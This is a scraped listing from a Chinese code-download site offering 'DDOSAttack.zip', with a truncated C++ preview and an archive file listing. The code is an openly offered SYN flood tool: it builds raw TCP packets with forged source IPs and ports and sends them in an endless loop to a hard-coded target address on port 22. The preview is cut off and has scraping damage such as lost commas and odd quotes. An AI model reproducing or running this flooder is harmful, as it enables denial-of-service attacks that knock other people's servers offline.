• 大小: 0M
    文件类型: .zip
    金币: 1
    下载: 0 次
    发布日期: 2021-06-04
  • 语言: 其他
  • 标签: 其他  

资源简介

DDOSAttack.zip

资源截图

代码片段和文件信息

// ConsoleApplication4.cpp : 定义控制台应用程序的入口点。
//

#include “stdafx.h“ 
#include   
#include   
#include   
#pragma comment(lib“WS2_32.LIB“)   
typedef struct tag_ip_Header {//ip首部    
unsigned char h_verlen;//4位手部长度,和4位IP版本号  
unsigned char tos;//8位类型服务   
unsigned short total_len;//16位总长度  
unsigned short ident;//16位标志   
unsigned short frag_and_flags;//3位标志位(如SYNACK等等)  
unsigned char ttl;//8位生存时间  
unsigned char proto;//8位协议   
unsigned short checksum;//ip手部效验和  
unsigned int SourceIP;//伪造IP地址  
unsigned int DestIP;//攻击的ip地址 
}IPHEADER;    
typedef struct tag_tcp_Header  {  
USHORT th_sport;//伪造端口  
USHORT th_dport;//攻击端口   
unsigned int th_seq;//32位系列号  
unsigned int th_ack;//32位确认号  
unsigned char th_lenres;//4位首布长度,6位保留字 
unsigned char th_flag;//6位标志位  
USHORT th_win;//16位窗口大小 
USHORT th_sum;//16位效验和  
USHORT th_urp;// 
}TCPHEADER;    
typedef struct tag_tsd_Header  {  
unsigned long saddr;//伪造地址 
unsigned long daddr;//攻击地址 
char mbz;//   
char ptcl;//协议类型   
unsigned short tcpl;//TCP长度 
}TSDHEADER;   
DWORD WINAPI Start(void);  
HANDLE hFind[10];    
//计算效验和  
USHORT Checksum(USHORT *bufferint size)  {  
unsigned long check=0;  
while(size>1)  { 
check+=*buffer++; 
size -=sizeof(USHORT); 
}  
if(size)  {  
check += *(USHORT*)buffer; 
}  
check = (check >>16) + (check & 0xffff);  
check += (check >>16);  
return (USHORT)(~check); 
}   
//攻击线程   
DWORD WINAPI Statr(void)  {  
SOCKET sock;  
WSADATA WSAData;  
SOCKADDR_IN syn_in; 
IPHEADER ipHeader; 
TCPHEADER tcpHeader; 
TSDHEADER psdHeader;   
const char *addr = “192.168.145.128“;//攻击的IP地址  
int port = 22;//要攻击的端口  
if(WSAStartup(MAKEWORD(22)&WSAData))  {  
return false;  
}  
if((sock = socket(AF_INETSOCK_RAWIPPROTO_IP))==INVALID_SOCKET)  { 
return false;
}  
BOOL flag=true;  
if(setsockopt(sockIPPROTO_IPIP_HDRINCL(char*)&flagsizeof(flag))==SOCKET_ERROR)  {  
return false; 
}  
int Time =888;  
if(setsockopt(sockSOL_SOCKETSO_SNDTIMEO(char*)&Timesizeof(Time))==SOCKET_ERROR)  { 
return false; 
}   
syn_in.sin_family = AF_INET; 
syn_in.sin_port = htons(port); 
syn_in.sin_addr.S_un.S_addr = inet_addr(addr); 
while(TRUE)  {  
//填充IP首部   
ipHeader.h_verlen=(4<<4 | sizeof(ipHeader)/sizeof(unsigned long)); 
ipHeader.tos=0;  
ipHeader.total_len=htons(sizeof(ipHeader)+sizeof(tcpHeader));
ipHeader.ident=1;  
ipHeader.frag_and_flags=0; 
ipHeader.ttl=(unsigned char)GetTickCount()%514+620; 
ipHeader.proto=IPPROTO_TCP;  
ipHeader.checksum=0;   
ipHeader.SourceIP=htonl(GetTickCount()*1986);  
ipHeader.DestIP=inet_addr(addr);   //填充Tcp首部  
int SourcePort =GetTickCount()*1986%514; 
tcpHeader.th_dport=htons(port);  
tcpHeader.th_sport=htons(SourcePort);
tcpHeader.th_seq=htonl(0x12345678);  
tcpHeader.th_ack=0;  
tcpHeader.th_lenres=(sizeof(tcpHeader)/4<<4|0); 
tcpHeader.th_flag=2;   
tcpHeader.th_win=htons(620);  
tcpHeader.th_urp=0; 
tcpHeader.th_sum=

 属性            大小     日期    时间   名称
----------- ---------  ---------- -----  ----
     目录           0  2016-03-17 13:03  DDOSAttack-master\
     文件        4284  2016-03-17 13:03  DDOSAttack-master\DDOSAttack.cpp
     文件         218  2016-03-17 13:03  DDOSAttack-master\stdafx.h

评论

共有 条评论